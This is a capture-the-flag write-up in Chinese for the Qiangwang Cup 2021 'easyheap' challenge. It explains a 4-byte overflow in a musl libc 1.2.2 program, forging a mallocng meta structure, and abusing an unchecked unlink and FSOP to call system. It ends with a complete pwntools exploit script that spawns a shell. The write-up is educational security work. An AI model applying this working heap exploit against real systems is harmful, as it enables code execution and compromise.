【CTF】强网杯 2021 easyheap

基本流程

  • 通过堆溢出更改 musl libc 的堆块的元数据,伪造 meta 结构;
  • 触发 meta 结构的 unlink 操作,实现任意地址写,借助 FSOP 实现控制流劫持;

描述及漏洞

参加了今年的强网杯,肝了一天半最终把这道 easyheap 肝出来了。这是一题 musl libc 的菜单堆题,程序实现的比较复杂,因此逆向花了一点时间。程序保护全开,实现了一个猜数的游戏,在一开始提供了 3 个功能:

在 Prepare 中,需要输入一串认证码,然后可以对猜数游戏进行管理(添加 / 修改 / 删除 / 查看),对游戏的管理操作也通过输入一系列的字符串完成,这一块会对输入的字符串做一个变换(这个变换比较复杂):

然后根据输入的字符串选择相应的操作。在对猜数游戏添加时,最多可以添加 21 个猜数游戏等级,在每添加一个等级时,需要输入数字的数量(最少 3 个,最多 36 个),程序根据数量使用 calloc 申请内存(会多申请一个),并以此输入数字。在完成输入数字之后,会依次遍历这些数字,并依次随机选择四则运算中的一个运算操作符进行运算,并将运算结果填充到最后一个数字槽中(即多申请的那一个,而猜数游戏最终猜的就是这个数字)。在对游戏进行删除的实现中,会对申请的内存释放,并置空(因此不存在因释放引起的漏洞)。在查看以添加的猜数游戏中,会依次输出之前输入的这些数字。在对猜数游戏进行修改的过程中,只能修改一次,会依次对输入的数字进行修改,但是这里存在一个因为索引导致的越界 4 字节写入的漏洞,可以写入随机运算得到的结果:

在 Challenge 中,需要对所添加的每一个猜数游戏的最后一个随机生成的数字进行猜测。程序对每一次猜测提供了两次 Silver Finger 和全局两次 Golden Finger 的功能。Silver Finger 只会允许跳过当前级别对数字的猜测,而 Golden Finger 会根据用户输入的数字的数量,得到最终得到的正确答案的数字。用户所有猜测的数字(包括 Golden Finger 得到的数字)都会存放到一开始通过 mmap 申请的内存处,地址为 0xdeadbeef000,当用户对所有数字都猜测正确时,并且猜测的关数大于之前的关数,时间小于之前的时间时,会申请一块内存存放用户的 Name,同时存放当前完成猜测的所有关数以及所花的时间:

(name 后面 0x18 的地方存放申请的一块内存)

在 List 功能中则会对当前存放的用户 Name 和挑战完成的关数以及时间输出。

因此,程序的主要漏洞就是上面 4 字节的随机运算之后得到的值的写入。此外,程序所有的输入都没有 0 截断。

利用

那么这里就主要需要利用这 4 个字节的溢出写入。由于目标程序使用的是 musl libc(1.2.2),但是之前并没有接触过 musl libc,而之前的 Defcon 2021 Qualifier 中有一题也是使用 musl libc 并进行利用的。因此在网上查阅了一下 musl libc 1.2.2 相关的资料,了解到现在的 musl libc 与之前的 musl libc 堆管理机制的实现有所不同,现在的代码主要位于 src/malloc/mallocng 中,其主要借助 meta 数据结构来对每个 Chunk 进行管理,每个 meta 管理固定数量的 Chunk,此外,meta 的结构体定义如下:

struct meta {
    struct meta *prev, *next;
    struct group *mem;
    volatile int avail_mask, freed_mask;
    uintptr_t last_idx:5;
    uintptr_t freeable:1;
    uintptr_t sizeclass:6;
    uintptr_t maplen:8*sizeof(uintptr_t)-12;
};

其中 mem 指向用户最终指向的地址,avali_mask 和 freed_mask 则通过掩码的形式指示那些堆块可用,那些堆块已被释放,last_idx 表示当前 meta 所管理的堆块最后一个索引的值,sizeclass 用来指示当前 meta 所管理 Chunk 的大小,prev 和 next 则表示 meta 通过双链表进行连接,管理着相同大小 Chunk 的 meta 通过双链表互相管理。因此在申请堆块时,会通过 meta 找到满足条件的 Chunk,然后返回给用户。具体的分配机制可以参考源码或者参考链接【1】。

那么在释放的时候如何通过 Chunk 找到对应的 meta 呢?在释放堆块 P 时,会通过 get_meta 函数获得 meta 结构,get_meta 函数中的相关部分如下:

int offset = *(const uint16_t *)(p - 2);
const struct group *base = (const void *)(p - UNIT*offset - UNIT);
const struct meta *meta = base->meta;

可以看到直接通过 P-2 来获得 group 结构的偏移,而 group 结构的 meta 字段为 group 结构的第一个字段,因此该内存处存放的就是 meta 结构的地址。因此,我们可以通过越界写的漏洞来更改下一个堆块的 P-2 处的值,从而将该堆块对应的 meta 结构引导至可控区域,实现 Fake Meta。但是实现了 Fake Meta 之后如何进一步进行利用呢?在 free 方法中,会调用 nontrivial_free 函数,在该函数中,当 meta 满足一定条件时,会调用 dequeue 函数,dequeue 函数存在 meta 的 unlink 操作:

static inline void dequeue(struct meta **phead, struct meta *m)
{
    if (m->next != m) {
        m->prev->next = m->next;
        m->next->prev = m->prev;
        if (*phead == m) *phead = m->next;
    } else {
        *phead = 0;
    }
    m->prev = m->next = 0;
}

该 unlink 操作没有任何检查,因此可以通过该 unlink 操作实现任意地址写入。因此我们可以,将当前堆块的最后 4 个字节设置为 0xdeadbeef010,通过 4 字节溢出将下一个堆块的 p – 2 处的 offset 值设置为 0,从而实现将 meta 劫持到 0xdeadbeef010 处。之后由于 challenge 功能可以将值写入 0xdeadbeef000 开始的内存处,因此可以控制 fake meta 的 prev 和 next,从而形成任意地址写。

但是现在还没有内存泄漏,那么如何形成内存泄漏呢?从前面的地方可以看到,输入没有 0 截断,且为 name 申请的内存没有初始化。虽然堆地址会放在 name + 0x18 的位置,但是我们可以通过之前申请的堆块,在堆块中填入内容来防止截断,从而实现堆地址的泄漏。但是仅仅泄漏堆地址似乎还不够?如何泄漏 libc 地址呢?在调试过程中发现,musl libc 申请的内存有时候会位于 libc 中,因此可以通过这种方式直接泄漏 libc 地址(目前还不知道这种情况是为啥,在【2】中也有提到)。

在实现了 libc 地址的泄漏之后,就可以实现任意内存写。但是在我们完成 Fake Meta 之前,还需要注意一件事,在 get_meta 函数中,会检查 meta 所在内存页(meta_area)中的 secret 字段:

assert(area->check == ctx.secret);

// …
struct meta_area {
    uint64_t check;
    struct meta_area *next;
    int nslots;
    struct meta slots[];
};

但是我们又无法任意地址读取,因此似乎无法泄漏这一块的地址?卡了一下之后突然想到我们似乎还有金手指的功能,能够帮助我们读取一块内存的值到 0xdeadbeef000 处,会不会金手指的地方没有索引检查?查看了一下之后发现果然没有相应的索引检查,因此我们可以指定相应的偏移,读取到 secret 的值到 0xdeadbeef000 处,从而绕过检查。

最后,参照链接【2】,将 stdout_used 的地址劫持到我们可控的内存区域,改写 write 地址到 system 处,完成控制流劫持,获得 shell。

Exp

from pwn import *
import time


def prepare():
    program.sendlineafter(">>", "1")
    program.sendlineafter("Code:", p32(0x43313357) + p32(0x5f334d30) + p32(0x515f6f74) + p32(0x31324257))


def exit_prepare():
    program.sendafter("$ ", p64(0x643030475f425751) + p64(0x657942))


def create_challenge(nums):
    program.sendafter("$ ", p64(0x343372435f425751) + p64(0x3374))
    program.sendlineafter("need?", str(len(nums)))
    for idx, n in enumerate(nums):
        program.sendlineafter("num", str(n))


def modify_challenge(idx, nums):
    program.sendafter("$ ", p64(0x3164304d5f425751) + p64(0x7946))
    program.sendlineafter("modify?", str(idx))
    for idx, n in enumerate(nums):
        program.sendlineafter("num", str(n))


def delete_challenge(idx):
    program.sendafter("$ ", p64(0x336c33445f425751) + p64(0x6554))
    program.sendlineafter("delete?", str(idx))


def check_challenge(idx):
    program.sendafter("$ ", p64(0x585d0d92796ec139) + p64(0x63f3147c1b1a0c4d))
    program.sendlineafter("check?", str(idx))


def challenge(answers, name=None, wait=False):
    program.sendlineafter(">>", "2")
    for ans in answers:
        if wait:
            time.sleep(0.1)
        if type(ans) == int:
            program.sendlineafter("answer: ", str(ans))
        else:
            hint, nums = ans
            program.sendlineafter("answer: ", hint)
            if hint == "whos_your_daddy":
                program.sendlineafter("Input:", str(nums))
    if name is None:
        return
    program.sendlineafter("name?", str(len(name)))
    program.sendafter("name!", name)


def _list():
    program.sendlineafter(">>", "3")
    program.recvuntil("Name: ")
    content = program.recvuntil(" #\n#   Level:", drop=True)
    return content


program = process("./easyheap_ori")


prepare()
create_challenge([0x0] * 7)  # 0
create_challenge([0x01010101] * 11)  # 1
create_challenge([0x0] * 11)  # 2

delete_challenge(1)
create_challenge([0x0] * 11)  # 1
create_challenge([0x0] * 11)  # 3
create_challenge([0x0] * 11)  # 4
create_challenge([0x0] * 11)  # 5
create_challenge([0x0] * 11)  # 6
create_challenge([0x0] * 11)  # 7
exit_prepare()
challenge([0x0] * 8, "d" * 0x10, True)
leak = _list()[32:]
libc_leak = u64(leak.ljust(8, b'\x00'))
libc_base = libc_leak - 0xb7c90
info("Libc: " + hex(libc_base))

prepare()
for i in range(0, 8):
    delete_challenge(i)

for i in range(9):
    create_challenge([0x0] * 7)

exit_prepare()

challenge([0x0] * 9, "d" * 0x10)
leak = _list()[32:]
heap_leak = u64(leak.ljust(8, b'\x00'))
info("Heap: " + hex(heap_leak))

secret_addr = libc_base + 0xb4ac0
info("Secret: " + hex(secret_addr))

prepare()
for i in range(9):
    delete_challenge(i)

for i in range(2):
    create_challenge([0x0] * 14)

exit_prepare()

challenge([("whos_your_daddy", -2924), ("whos_your_daddy", -2939)])

prepare()

modify_challenge(0, [0] * 12 + [0xdbeef010, 0xdea, 0x0])

system = libc_base + 0x50a90

create_challenge([0x6e69622f, 0x68732f] + [0x0] * 8 + [0xdeadbeef, 0x0, 0x0, 0x0, 0xbeefdead, 0x0, 0x0, 0x0, system & 0xffffffff, system >> 32])
for i in range(11):
    create_challenge([0x0] * 14)

exit_prepare()

stdout = libc_base + 0xb4280
base_address = libc_base + 0xb78a0
stdout_ptr = system + 0x63920
fake_chunk = libc_base + 0xb7a60

maplen = 1
freeable = 1
last_value = (20 << 6) | (1 << 5) | 1 | (0xfff << 12)


challenge([("next_next", 0), ("next_next", 0),
           0x0, 0x0,
           fake_chunk & 0xffffffff, fake_chunk >> 32,  # prev
           stdout_ptr & 0xffffffff, stdout_ptr >> 32,  # next
           base_address & 0xffffffff, base_address >> 32,  # group
           0x2, 0x0,  # masks
           last_value & 0xffffffff, last_value >> 32])

pause()

prepare()
delete_challenge(1)
exit_prepare()
program.sendlineafter(">>", "4")
program.interactive()

参考